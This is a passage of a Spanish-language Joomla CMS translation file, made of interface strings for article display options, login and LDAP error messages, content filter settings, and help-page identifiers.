            " JFIELD_TITLE_DESC="Título" JFIELD_XREFERENCE_DESC="Un campo opcional que, si es necesario, permite que este registro sea una referencia cruzada a un sistema de datos externos." JFIELD_XREFERENCE_LABEL="Referencia externa" JGLOBAL_ACROSS="Cruzado" JGLOBAL_ACTION_PERMISSIONS_LABEL="Permisos" JGLOBAL_ACTION_PERMISSIONS_DESCRIPTION="Asigne los permisos para las acciones en esta zona" JGLOBAL_ALL_ARTICLE="Nivel máximo de artículos" JGLOBAL_ALL_LIST="Nivel máximo como lista" JGLOBAL_ALLOW_COMMENTS_DESC="Configurado en 'Sí', los lectores podrán ver comentarios y añadirlos en los artículos." JGLOBAL_ALLOW_COMMENTS_LABEL="Permitir comentarios" JGLOBAL_ALLOW_RATINGS_DESC="Configurado en 'Sí', los lectores podrán votar y ver las votaciones en los artículos." JGLOBAL_ALLOW_RATINGS_LABEL="Permitir votaciones" JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_DESC="Por favor, introduzca un valor numérico para establecer el límite. El texto de introducción será reducido a esa cantidad de caracteres que haya introducido." JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_LABEL="Límite del texto de introducción" JGLOBAL_ARCHIVE_OPTIONS="Opciones del archivo" JGLOBAL_ARTICLE_COUNT_DESC="Determine entre si se muestran, o no, la cantidad de artículos que hay en cada categoría." JGLOBAL_ARTICLE_COUNT_LABEL="Cantidad de artículos" JGLOBAL_ARTICLE_MANAGER_ORDER="Orden" JGLOBAL_ARTICLE_MUST_HAVE_TEXT="El artículo debe contener algún texto" JGLOBAL_ARTICLE_ORDER_DESC="El orden en el que se mostrarán los artículos." JGLOBAL_ARTICLE_ORDER_LABEL="Orden del artículo" JGLOBAL_ARTICLES="Artículos" JGLOBAL_AUTH_ACCESS_DENIED="Acceso denegado" JGLOBAL_AUTH_ACCESS_GRANTED="Acceso permitido" JGLOBAL_AUTH_BIND_FAILED="Se ha producido un error validando con el servidor LDAP" JGLOBAL_AUTH_CANCEL="Autentificación cancelada" JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED="No se permiten contraseñas vacías" JGLOBAL_AUTH_FAIL="La autentificación ha fallado" JGLOBAL_AUTH_FAILED="Se ha producido un error al autentificar: %s" JGLOBAL_AUTH_INCORRECT="Nombre de usuario o contraseña incorrecto" JGLOBAL_AUTH_INVALID_PASS="El usuario y contraseña no coinciden o usted aún no tiene una cuenta." JGLOBAL_AUTH_NO_BIND="No se ha podido validar correctamente con LDAP" JGLOBAL_AUTH_NO_CONNECT="No se ha podido conectar con el servidor LDAP" JGLOBAL_AUTH_NO_REDIRECT="No se ha podido redirigir al servidor: %s" JGLOBAL_AUTH_NO_USER="El usuario y contraseña no coinciden o usted aún no tiene una cuenta." JGLOBAL_AUTH_NOT_CREATE_DIR="La aplicación 'FileStore' no puede crear el directorio %s. Por favor, revise los permisos." JGLOBAL_AUTH_PASS_BLANK="LDAP no puede tener una contraseña en blanco" JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED="Se ha obtenido un resultado desconocido. Acceso denegado" JGLOBAL_AUTH_USER_BLACKLISTED="El usuario está en la lista negra" JGLOBAL_AUTH_USER_NOT_FOUND="No se ha podido encontrar al usuario" JGLOBAL_AUTHOR_ALPHABETICAL="Autor-Alfabéticamente" JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL="Autor-Alfabéticamente invertido" JGLOBAL_AUTO="Automático" JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND="No se ha podido encontrar el nivel de destino para este elemento." JGLOBAL_BATCH_PROCESS="Procesar" JGLOBAL_BLOG="Blog" JGLOBAL_BLOG_LAYOUT_OPTIONS="Opciones del formato tipo blog o destacados" JGLOBAL_CATEGORIES_OPTIONS="Opciones de las categorías" JGLOBAL_CATEGORY_LAYOUT_DESC="Presentación" JGLOBAL_CATEGORY_LAYOUT_LABEL="Elegir una presentación" JGLOBAL_CATEGORY_MANAGER_ORDER="Orden del gestor de categorías" JGLOBAL_CATEGORY_NOT_FOUND="Categoría no encontrada" JGLOBAL_CATEGORY_OPTIONS="Opciones de la categoría" JGLOBAL_CATEGORY_ORDER_DESC="El orden que deben mostrar las categorías." JGLOBAL_CATEGORY_ORDER_LABEL="Orden de las categorías" JGLOBAL_CENTER="Centro" JGLOBAL_CHOOSE_CATEGORY_DESC="Elija una categoría de la lista" JGLOBAL_CHOOSE_CATEGORY_LABEL="Seleccionar una categoría" JGLOBAL_CLICK_TO_SORT_THIS_COLUMN="Haga clic para ordenar esta columna" JGLOBAL_CLICK_TO_TOGGLE_STATE="Haga clic sobre el icono para cambiar el estado." JGLOBAL_COPY="(copia)" JGLOBAL_CREATED="Creado" JGLOBAL_CREATED_DATE="Fecha de creación" JGLOBAL_DATE_FORMAT_DESC="Formato opcional para mostrar la fecha. Si se deja en blanco, se usará la definición para 'DATE_FORMAT_LC1' que hay en el archivo del idioma (por ejemplo, 'D M Y' para 'día mes año' o, puede usar 'd-m-y' para la versión abreviada: '10-07-10'. Para más información revise: http://www.php.net/manual/en/function.date.php)." JGLOBAL_DATE_FORMAT_LABEL="Formato de la fecha" JGLOBAL_DESCRIPTION="Descripción" JGLOBAL_DISPLAY_NUM="Cantidad " JGLOBAL_DISPLAY_SELECT_DESC="Se determina entre si se muestra, o no, la lista de selección desplegable que permite configurar cuantos elementos mostrar por página." JGLOBAL_DISPLAY_SELECT_LABEL="Seleccionar 'Cantidad a mostrar'" JGLOBAL_DOWN="Abajo" JGLOBAL_EDIT_ITEM="Editar elemento" JGLOBAL_EDIT_PREFERENCES="Editar preferencias" JGLOBAL_EMAIL="Correo electrónico" JGLOBAL_EMPTY_CATEGORIES_DESC="Determina entre si se muestran, o no, las categorías que no contengan ni artículos, ni subcategorías." JGLOBAL_EMPTY_CATEGORIES_LABEL="Categorías vacías" JGLOBAL_ERROR_INSUFFICIENT_BATCH_INFORMATION="La información proporcionada es insuficiente para llevar a cabo la operación de proceso por lotes" JGLOBAL_FEED_SHOW_READMORE_DESC="Muestra un enlace de "Leer más" en los contenidos del canal electrónico si el 'Texto de introducción' está configurado en 'Mostrar'." JGLOBAL_FEED_SHOW_READMORE_LABEL="Mostrar "Leer más"" JGLOBAL_FEED_SUMMARY_DESC="Si está configurado en 'Texto de introducción', solo se mostrará el texto de introducción en cada noticia del canal electrónico. Si está en 'Texto completo' se mostrará todo el texto del artículo en cada noticia del canal electrónico." JGLOBAL_FEED_SUMMARY_LABEL="De cada noticia sindicada mostrar" JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_DESC="Se mostrarán las categorías que estén dentro de esta categoría" JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL="Seleccionar categoría principal" JGLOBAL_FIELD_CATEGORIES_DESC_DESC="Si introduce algún texto en este campo, se sobreescribirá la descripción de la categoría raíz (si tuviera)." JGLOBAL_FIELD_CATEGORIES_DESC_LABEL="Descripción de la categoría raíz" JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC="Use otro nombre a mostrar distinto al del autor" JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL="Alias del autor" JGLOBAL_FIELD_CREATED_BY_DESC="El usuario que lo ha creado" JGLOBAL_FIELD_CREATED_BY_LABEL="Creado por" JGLOBAL_FIELD_CREATED_DESC="Fecha de creación" JGLOBAL_FIELD_CREATED_LABEL="Fecha de creación" JGLOBAL_FIELD_FIELD_CACHETIME_DESC="El tiempo, en minutos, que la caché tardará en actualizarse." JGLOBAL_FIELD_FIELD_ORDERING_LABEL="Orden" JGLOBAL_FIELD_ID_DESC="Número de registro en la base de datos" JGLOBAL_FIELD_ID_LABEL="ID" JGLOBAL_FIELD_LAYOUT_DESC="Presentación predeterminada a usar con los artículos" JGLOBAL_FIELD_LAYOUT_LABEL="Elegir presentación" JGLOBAL_FIELD_MODIFIED_LABEL="Fecha de modificación" JGLOBAL_FIELD_MODIFIED_BY_DESC="El usuario que hizo la última modificación" JGLOBAL_FIELD_MODIFIED_BY_LABEL="Modificado por" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_DESC="La cantidad de categorías a mostrar en cada nivel" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_LABEL="Cantidad de categorías" JGLOBAL_FIELD_PUBLISH_DOWN_DESC="Una fecha opcional para la finalización de la publicación" JGLOBAL_FIELD_PUBLISH_DOWN_LABEL="Final de publicación" JGLOBAL_FIELD_PUBLISH_UP_DESC="Una fecha opcional para el inicio de publicación" JGLOBAL_FIELD_PUBLISH_UP_LABEL="Inicio de publicación" JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC="Muestra la descripción de la categoría principal u, opcionalmente, lo sobreescribe con el texto descriptivo que se puede encontrar editando el elemento del menú. Si la categoría principal es de primer nivel o raíz, se tiene que rellenar el campo de descripción." JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL="Descripción de la categoría principal" JGLOBAL_FIELDSET_DISPLAY_OPTIONS="Opciones de visionado" JGLOBAL_FIELDSET_METADATA_OPTIONS="Opciones de los metadatos" JGLOBAL_FIELDSET_OPTIONS="Opciones" JGLOBAL_FIELDSET_PUBLISHING="Opciones de publicación" JGLOBAL_FILTER_ATTRIBUTES_DESC="Lista de atributos adicionales, separando cada atributo con un espacio o coma." JGLOBAL_FILTER_ATTRIBUTES_LABEL="Filtrar atributos" JGLOBAL_FILTER_CLIENT="- Seleccionar localización -" JGLOBAL_FILTER_FIELD_DESC="Se determina entre si se muestra, o no, un campo 'Filtrar' para el listado de artículos. Seleccione 'Ocultar' para ocultar el filtro, o seleccione que campo desea que sea filtrado." JGLOBAL_FILTER_FIELD_LABEL="Campo 'Filtrar'" JGLOBAL_FILTER_GROUPS_DESC="Esto asigna el grupo de usuarios al que quiere que se aplique el filtro. Otros grupos no dispondrán de tal posibilidad." JGLOBAL_FILTER_GROUPS_LABEL="Filtrar grupos" JGLOBAL_FILTER_TAGS_DESC="Lista de etiquetas adicionales, separadas cada una con un espacio o coma." JGLOBAL_FILTER_TAGS_LABEL="Filtrar etiquetas" JGLOBAL_FILTER_TYPE_DESC="

            La lista negra permite todas las etiquetas y atributos excepto aquellos que están en la lista negra.
            --La lista negra predeterminada incluye: 'applet', 'body', 'bgsound', 'base', 'basefont', 'embed', 'frame', 'frameset', 'head', 'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name', 'object', 'script', 'style', 'title', 'xml'
            -- La lista negar de atributos incluye:
            'action', 'background', 'codebase', 'dynsrc', 'lowsrc'
            -- Puede incluir etiquetas y atributos adicionales en lista negra, introduciéndolos en el campo 'Filtrar etiquetas' y 'Filtrar atributos', separando cada etiqueta o atributo con una coma.
            -- La lista negra personalizada le permite anular y sobreescribir a la lista negra predeterminada. Añada las etiquetas y atributos a ser incluidos en lista negra en los campos de filtro de etiquetas y atributos.

            La lista blanca permite usar solo las etiquetas y atributos listados en 'Filtrar etiquetas' y 'Filtrar atributos'.

            'Sin HTML' elimina todas las etiquetas HTML del contenido cuando se guarda.

            Por favor, note que esta configuración solo funciona si no se indica lo contrario desde la configuración del editor que esté usando.
            Siempre y cuando que esté usando un editor WYSIWYG, la configuración de filtrado podría recortar etiquetas y atributos adicionales antes de que la información se guarde en la base de datos.

            " JGLOBAL_FILTER_TYPE_LABEL="Tipo de filtro" JGLOBAL_FULL_TEXT="Texto completo" JGLOBAL_GT=">" JGLOBAL_HITS="Veces visto" JGLOBAL_INDEX_FOLLOW="Seguir con indexación" JGLOBAL_INDEX_NOFOLLOW="No seguir indexación" JGLOBAL_INHERIT="Heredado" JGLOBAL_INTEGRATION_LABEL="Integración" JGLOBAL_INTRO_TEXT="Texto de introducción" JGLOBAL_ISFREESOFTWARE="%s es software libre liberado bajo la GNU General Public License." JGLOBAL_LEAST_HITS="Menos visto" JGLOBAL_LEFT="Izquierda" JGLOBAL_LINK_AUTHOR_DESC="Si está configurado en 'Sí', el nombre del autor del artículo será enlazado a su página de contacto. Para que esto funcione, debe crear un contacto enlazado con el nombre de usuario del autor. Es un valor global, pero también se puede cambiar desde las opciones de configuración de categorías, menús, y artículos." JGLOBAL_LINK_AUTHOR_LABEL="Autor enlazable" JGLOBAL_LINK_CATEGORY_DESC="Si está configurado en 'Sí', y 'Mostrar categoría' está asignado en 'Mostrar', el título de la categoría se enlazará con una presentación que muestre los artículos que hay en esa categoría." JGLOBAL_LINK_CATEGORY_LABEL="Categoría enlazable" JGLOBAL_LINK_PARENT_CATEGORY_DESC="Si está configurado en 'Sí', y 'Mostrar categoría principal' está asignado en 'Mostrar', la categoría principal se enlazará con una presentación que muestre los artículos pertenecientes a esa categoría." JGLOBAL_LINK_PARENT_CATEGORY_LABEL="Categoría principal enlazable" JGLOBAL_LINKED_TITLES_DESC="Si está configurado en 'Sí', el título del artículo se convertirá en un enlace al propio artículo." JGLOBAL_LINKED_TITLES_LABEL="Título enlazable" JGLOBAL_LIST="Lista" JGLOBAL_LIST_ALIAS="(Alias: %s)" JGLOBAL_LIST_ALIAS_NOTE="(Alias: %s, Nota: %s)" JGLOBAL_LIST_AUTHOR_DESC="Se determina entre si se muestra, o no, el autor del artículo en la lista de artículos." JGLOBAL_LIST_AUTHOR_LABEL="Mostrar autor en la lista" JGLOBAL_LIST_HITS_DESC="Se determina entre si se muestran, o no, las veces que se ha visto el artículo en la lista de artículos." JGLOBAL_LIST_HITS_LABEL="Mostrar impresiones en la lista" JGLOBAL_LIST_LAYOUT_OPTIONS="Opciones del formato del tipo lista o tabla" JGLOBAL_LIST_NOTE="(Nota: %s)" JGLOBAL_LIST_TITLE_DESC="Configurado en 'Mostrar', el título de la categoría se mostrará en la lista de categorías." JGLOBAL_LIST_TITLE_LABEL="Título de la categoría" JGLOBAL_LT="<" JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC="La cantidad de niveles de subcategorías a mostrar." JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL="Nivel de subcategorías" JGLOBAL_MAXLEVEL_DESC="La cantidad máxima de subcategorías a mostrar." JGLOBAL_MAXLEVEL_LABEL="Nivel máximo de subcategorías" JGLOBAL_MENU_SELECTION="Selección de elementos del menú:" JGLOBAL_MODIFIED="Modificado" JGLOBAL_MOST_HITS="Más vistos" JGLOBAL_MOST_RECENT_FIRST="Los recientes primero" JGLOBAL_MULTI_COLUMN_ORDER_DESC="Ordene los artículos siguiendo un orden lineal hacia abajo o cruzado" JGLOBAL_MULTI_COLUMN_ORDER_LABEL="Orden en columnas múltiples" JGLOBAL_MULTI_LEVEL="Nivel múltiple" JGLOBAL_NEWITEMSFIRST_DESC="Los nuevos elementos se ordenarán predeterminadmente en la primera posición. El orden se puede cambiar una vez que se haya guardado este elemento." JGLOBAL_NEWITEMSLAST_DESC="Los nuevos elementos se ordenarán predeterminadmente en última posición. El orden se puede cambiar una vez que se haya guardado este elemento." JGLOBAL_NO_ITEM_SELECTED="Sin elementos seleccionados" JGLOBAL_NO_ORDER="Sin ordenar" JGLOBAL_NOINDEX_FOLLOW="Seguir sin indexar" JGLOBAL_NOINDEX_NOFOLLOW="No seguir y no indexar" JGLOBAL_NUM_COLUMNS_DESC="La cantidad de columnas con las que se mostrarán los artículos. Normalmente 1, 2, o 3." JGLOBAL_NUM_COLUMNS_LABEL="Cantidad de columnas" JGLOBAL_NUM_INTRO_ARTICLES_DESC="La cantidad de artículos a mostrar después del artículo de introducción. Los artículos se mostrarán en columnas." JGLOBAL_NUM_INTRO_ARTICLES_LABEL="Cantidad de artículos después de los de introducción" JGLOBAL_NUM_LEADING_ARTICLES_DESC="Cantidad de artículos de introducción a mostrar con todo el ancho y al principio de la página." JGLOBAL_NUM_LEADING_ARTICLES_LABEL="Cantidad de artículos de introducción" JGLOBAL_NUM_LINKS_DESC="Cantidad de artículos a mostrar como enlaces, normalmente después de los artículos de introducción." JGLOBAL_NUM_LINKS_LABEL="Cantidad de enlaces" JGLOBAL_NUMBER_CATEGORY_ITEMS_DESC="Configurado en 'Mostrar', se mostrará la cantidad de artículos que hay en la categoría." JGLOBAL_NUMBER_CATEGORY_ITEMS_LABEL="Mostrar la cantidad de artículos" JGLOBAL_NUMBER_ITEMS_LIST_DESC="La cantidad de artículos predeterminada a listar en la página." JGLOBAL_NUMBER_ITEMS_LIST_LABEL="Cantidad de artículos a listar" JGLOBAL_OLDEST_FIRST="Los antiguos primero" JGLOBAL_ORDERING="Orden del gestor de artículos" JGLOBAL_ORDERING_DATE_DESC="Determine qué fecha usar, si los artículos están ordenados por fecha." JGLOBAL_ORDERING_DATE_LABEL="Ordenar por fecha" JGLOBAL_PAGINATION_DESC="Se muestra u oculta el soporte de paginación. La paginación proporciona enlaces de página al final de cada página que permita este tipo de navegación. Es necesario si la información a mostrar no cabe en una sola página." JGLOBAL_PAGINATION_LABEL="Paginación" JGLOBAL_PAGINATION_RESULTS_DESC="Se muestran u ocultan los resultados de paginación, por ejemplo, 'Página 1 de 4'." JGLOBAL_PAGINATION_RESULTS_LABEL="Resultados de la paginación" JGLOBAL_PASSWORD="Contraseña" JGLOBAL_PERMISSIONS_ANCHOR="Asignar permisos" JGLOBAL_PREVIEW="Previsualizar" JGLOBAL_RECORD_NUMBER="'ID' de registro: %d" JGLOBAL_REMEMBER_ME="Recuérdeme" JGLOBAL_RIGHT="Derecha" JGLOBAL_ROOT="Raíz" JGLOBAL_ROOT_PARENT="- Sin principal -" JGLOBAL_SELECT_ALLOW_DENY_GROUP="Cambiar los permisos de %s para el grupo %s ." JGLOBAL_SELECTION_INVERT="Cambiar selección" JGLOBAL_SELECTION_ALL="Seleccionar todo" JGLOBAL_SELECTION_NONE="Limpiar selección" JGLOBAL_SHOW_AUTHOR_DESC="Configurado en 'Mostrar', se mostrará el nombre del autor del artículo. Es un valor global, pero también se puede cambiar desde las opciones de configuración de categorías, menús, y artículos." JGLOBAL_SHOW_AUTHOR_LABEL="Mostrar autor" JGLOBAL_SHOW_CATEGORY_DESC="Configurado en 'Mostrar', se mostrará el título de la categoría del artículo." JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC="Se muestra u oculta la descripción de la categoría seleccionada." JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL="Descripción de la categoría" JGLOBAL_SHOW_CATEGORY_IMAGE_DESC="Se muestra u oculta la imagen de la categoría seleccionada." JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL="Imagen de la categoría" JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_LABEL="Mostrar el texto de las subcategorías" JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_DESC="Si se configura en 'Mostrar', las "Subcategorías" se mostrarán como un subencabezado de la página. El subencabezado se mostrará normalmente dentro de la etiqueta "H3"." JGLOBAL_SHOW_CATEGORY_LABEL="Mostrar la categoría" JGLOBAL_SHOW_CATEGORY_TITLE="Título de la categoría" JGLOBAL_SHOW_CATEGORY_TITLE_DESC="Configurado en 'Mostrar', el título de la categoría se mostrará como subtítulo de la página. El subtítulo se muestra normalmente dentro de la etiqueta 'H2'." JGLOBAL_SHOW_CREATE_DATE_DESC="Configurado en 'Mostrar', se mostrará la fecha y hora de creación del artículo. Es un valor global, pero también se puede cambiar desde las opciones de configuración del menú y de los artículos." JGLOBAL_SHOW_CREATE_DATE_LABEL="Mostrar la fecha de creación" JGLOBAL_SHOW_DATE_DESC="Se determina entre si se muestra, o no, la columna 'Fecha' en el listado de artículos. Seleccione 'Ocultar' para ocultar la fecha o indique la fecha que desee mostrar." JGLOBAL_SHOW_DATE_LABEL="Mostrar fecha" JGLOBAL_SHOW_EMAIL_ICON_DESC="Mostrar u ocultar el icono 'Correo'. Esto le permite enviar un artículo." JGLOBAL_SHOW_EMAIL_ICON_LABEL="Mostrar icono 'Correo'" JGLOBAL_SHOW_EMPTY_CATEGORIES_DESC="Configurado en 'Mostrar', se mostrarán las categorías vacías. Una categoría solo se considera vacía cuando no contiene elementos o subcategorías." JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL="Categorías vacías" JGLOBAL_SHOW_FEED_LINK_DESC="Se muestra u oculta el enlace de sindicación de la noticia (un enlace de noticias externas, normalmente se mostrará en la barra de direcciones de los navegadores más modernos, con el icono típico de los canales electrónicos.)." JGLOBAL_SHOW_FEED_LINK_LABEL="Sindicar el enlace" JGLOBAL_SHOW_HEADINGS_DESC="Mostrar u ocultar los encabezados de la tabla en las presentaciones del tipo tabla o lista." JGLOBAL_SHOW_HEADINGS_LABEL="Encabezados de la tabla" JGLOBAL_SHOW_HITS_DESC="Configurado en 'Mostrar', se mostrará la cantidad de veces que se ha visto un artículo en particular. Es un valor global, pero también se puede cambiar desde las opciones de configuración de categorías, menús, y artículos." JGLOBAL_SHOW_HITS_LABEL="Mostrar impresiones" JGLOBAL_SHOW_ICONS_DESC="Las funciones de 'Imprimir' o 'Enviar por correo', pueden mostrarse usando iconos o texto" JGLOBAL_SHOW_ICONS_LABEL="Mostrar iconos" JGLOBAL_SHOW_INTRO_DESC="Configurado en 'Mostrar', el texto de introducción se seguirá mostrando cuando se acceda al artículo por completo. Si lo configura en 'Ocultar', solo se mostrará el texto que hay después del 'Leer más'." JGLOBAL_SHOW_INTRO_LABEL="Mostrar texto de introducción" JGLOBAL_SHOW_MODIFY_DATE_DESC="Configurado en 'Mostrar', se mostrará la fecha y hora en la que el artículo fue modificado por última vez. Esto es un valor global, pero también se puede cambiar desde las opciones de configuración de categorías, menús, y artículos." JGLOBAL_SHOW_MODIFY_DATE_LABEL="Mostrar fecha de modificación" JGLOBAL_SHOW_NAVIGATION_DESC="Configurado en 'Mostrar', muestra los enlaces de navegación ('Anterior' y 'Siguiente') entre los artículos." JGLOBAL_SHOW_NAVIGATION_LABEL="Mostrar navegación" JGLOBAL_SHOW_PARENT_CATEGORY_DESC="Configurado en 'Mostrar', se mostrará el título de la categoría principal a la que pertenezca el artículo." JGLOBAL_SHOW_PARENT_CATEGORY_LABEL="Mostrar categoría principal" JGLOBAL_SHOW_PRINT_ICON_DESC="Mostrar u ocultar el icono de impresión." JGLOBAL_SHOW_PRINT_ICON_LABEL="Mostrar icono 'Imprimir'" JGLOBAL_SHOW_PUBLISH_DATE_DESC="Configurado en 'Mostrar', se mostrará la fecha y hora en la que el artículo fue publicado. Es un valor global, pero también se puede cambiar desde las opciones de configuración de categorías, menús, y artículos." JGLOBAL_SHOW_PUBLISH_DATE_LABEL="Mostrar fecha de publicación" JGLOBAL_SHOW_READMORE_DESC="Configurado en 'Mostrar', si los artículos proporcionan un texto principal se mostrará el enlace 'Leer más...'." JGLOBAL_SHOW_READMORE_LABEL="Mostrar 'Leer más'" JGLOBAL_SHOW_READMORE_TITLE_DESC="Configurado en 'Mostrar', el título del artículo se mostrará en lugar del 'Leer más'." JGLOBAL_SHOW_READMORE_TITLE_LABEL="Mostrar el título en lugar del 'Leer más'" JGLOBAL_SHOW_READMORE_LIMIT_DESC="Asigne un número de caracteres límite del título del artículo a mostrar en lugar del 'Leer más'." JGLOBAL_SHOW_READMORE_LIMIT_LABEL="Límite del 'Leer más'" JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC="Mostrar u ocultar las descripciones de las subcategorías." JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL="Descripción de subcategorías" JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL="Incluir subcategorías" JGLOBAL_SHOW_SUBCATEGORY_CONTENT_DESC="Configurado en 'Ninguna', solo se mostrarán los artículos de esta categoría. Si selecciona una cantidad, se mostrarán en el formato blog todos los artículos de las categorías anidadas en esa categoría, incluyéndose desde esa cantidad para arriba." JGLOBAL_SHOW_TITLE_DESC="Si está configurado en 'Mostrar', se mostrará el título del artículo." JGLOBAL_SHOW_TITLE_LABEL="Mostrar título" JGLOBAL_SHOW_UNAUTH_LINKS_DESC="Si está configurado en 'Sí', los enlaces a contenido para usuarios registrados se mostrarán aunque no se haya identificado en el sistema. Aunque alguien pueda ver esos enlaces, antes de poder acceder a su contenido por completo, primero necesitará identificarte." JGLOBAL_SHOW_UNAUTH_LINKS_LABEL="Mostrar los enlaces no autorizados" JGLOBAL_SHOW_VOTE_DESC="Si está configurado en 'Mostrar', se habilitará el sistema de votaciones del sistema en los artículos" JGLOBAL_SHOW_VOTE_LABEL="Mostrar votaciones" JGLOBAL_SINGLE_LEVEL="Nivel básico" JGLOBAL_START_PUBLISH_AFTER_FINISH="la fecha de inicio de publicación del elemento debe ser anterior a la de final de publicación" JGLOBAL_SUBHEADING_DESC="Texto opcional a mostrar como subtítulo de la página." JGLOBAL_SUBHEADING_LABEL="Subtítulo de la página" JGLOBAL_SUBMENU_CHECKIN="Desbloquear" JGLOBAL_SUBMENU_CLEAR_CACHE="Limpiar la caché" JGLOBAL_SUBMENU_PURGE_EXPIRED_CACHE="Purgar la caché expirada" JGLOBAL_SUBSLIDER_BLOG_EXTENDED_LABEL="La opción de más abajo, permite incluir artículos de las subcategorías en las presentaciones del tipo blog." JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL="Si se deja algún campo en blanco se usará lo asignado desde la configuración global." JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL="Estas opciones también se aplican cuando se hace clic sobre:
            Un enlace de la categoría, la primera página o los siguientes que puedan haber a partir de ahí,
            siempre y cuando que no lo haya cambiado para un elemento del menú específico.
            " JGLOBAL_TITLE="Título" JGLOBAL_TITLE_ALPHABETICAL="Título alfabético" JGLOBAL_TITLE_REVERSE_ALPHABETICAL="Título alfabético invertido" JGLOBAL_TOP="Arriba" JGLOBAL_TPL_CPANEL_LINK_TEXT="Volver al panel de control" JGLOBAL_USE_GLOBAL="Usar el valor global" JGLOBAL_USERNAME="Usuario" JGLOBAL_VALIDATION_FORM_FAILED="Formulario inválido" JGLOBAL_VIEW_SITE="Ver sitio" JGLOBAL_WARNJAVASCRIPT="¡Advertencia! Para poder realizar operaciones correctamente desde la administración, debe tener habilitado JavaScript." JGLOBAL_WIDTH="Ancho" JGLOBAL_CHECK_ALL="Marcar todo" JGRID_HEADING_ACCESS="Acceso" JGRID_HEADING_CREATED_BY="Creado por" JGRID_HEADING_ID="ID" JGRID_HEADING_LANGUAGE="Idioma" JGRID_HEADING_MENU_ITEM_TYPE="Tipo de elemento del menú" JGRID_HEADING_ORDERING="Orden" JGRID_HEADING_ROW_NUMBER="#" JGRID_CHECKBOX_ROW_N="Casilla de selección para la fila %d" JHELP_COMPONENTS_BANNERS_BANNERS="Components_Banners_Banners" JHELP_COMPONENTS_BANNERS_BANNERS_EDIT="Components_Banners_Banners_Edit" JHELP_COMPONENTS_BANNERS_CATEGORIES="Components_Banners_Categories" JHELP_COMPONENTS_BANNERS_CATEGORY_ADD="Components_Banners_Categories_Edit" JHELP_COMPONENTS_BANNERS_CATEGORY_EDIT="Components_Banners_Categories_Edit" JHELP_COMPONENTS_BANNERS_CLIENTS="Components_Banners_Clients" JHELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Components_Banners_Clients_Edit" JHELP_COMPONENTS_BANNERS_TRACKS="Components_Banners_Tracks" JHELP_COMPONENTS_CONTACT_CATEGORIES="Components_Contacts_Categories" JHELP_COMPONENTS_CONTACT_CATEGORY_ADD="Components_Contacts_Categories_Edit" JHELP_COMPONENTS_CONTACT_CATEGORY_EDIT="Components_Contacts_Categories_Edit" JHELP_COMPONENTS_CONTACTS_CONTACTS="Components_Contacts_Contacts" JHELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Components_Contacts_Contacts_Edit" JHELP_COMPONENTS_CONTENT_CATEGORIES="Components_Content_Categories" JHELP_COMPONENTS_CONTENT_CATEGORY_ADD="Components_Content_Categories_Edit" JHELP_COMPONENTS_CONTENT_CATEGORY_EDIT="Components_Content_Categories_Edit" JHELP_COMPONENTS_FINDER_MANAGE_INDEXED_CONTENT="Components_Finder_Manage_Indexed_Content" JHELP_COMPONENTS_FINDER_MANAGE_CONTENT_MAPS="Components_Finder_Manage_Content_Maps" JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS="Components_Finder_Manage_Search_Filters" JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS_EDIT="Components_Finder_Manage_Search_Filters_Edit" JHELP_COMPONENTS_JOOMLA_UPDATE="Components_Joomla_Update" JHELP_COMPONENTS_MESSAGING_INBOX="Components_Messaging_Inbox" JHELP_COMPONENTS_MESSAGING_READ="Components_Messaging_Read" JHELP_COMPONENTS_MESSAGING_WRITE="Components_Messaging_Write" JHELP_COMPONENTS_NEWSFEEDS_CATEGORIES="Components_Newsfeeds_Categories" JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_ADD="Components_Newsfeeds_Categories_Edit" JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_EDIT="Components_Newsfeeds_Categories_Edit" JHELP_COMPONENTS_NEWSFEEDS_FEEDS="Components_Newsfeeds_Feeds" JHELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="Components_Newsfeeds_Feeds_Edit" JHELP_COMPONENTS_REDIRECT_MANAGER="Components_Redirect_Manager" JHELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Components_Redirect_Manager_Edit" JHELP_COMPONENTS_SEARCH="Components_Search" JHELP_COMPONENTS_USERS_CATEGORIES="Users_User_Note_Categories" JHELP_COMPONENTS_USERS_CATEGORY_ADD="Users_User_Note_Category_Edit" JHELP_COMPONENTS_USERS_CATEGORY_EDIT="Users_User_Note_Category_Edit" JHELP_COMPONENTS_WEBLINKS_CATEGORIES="Components_Weblinks_Categories" JHELP_COMPONENTS_WEBLINKS_CATEGORY_ADD="Components_Weblinks_Categories_Edit" 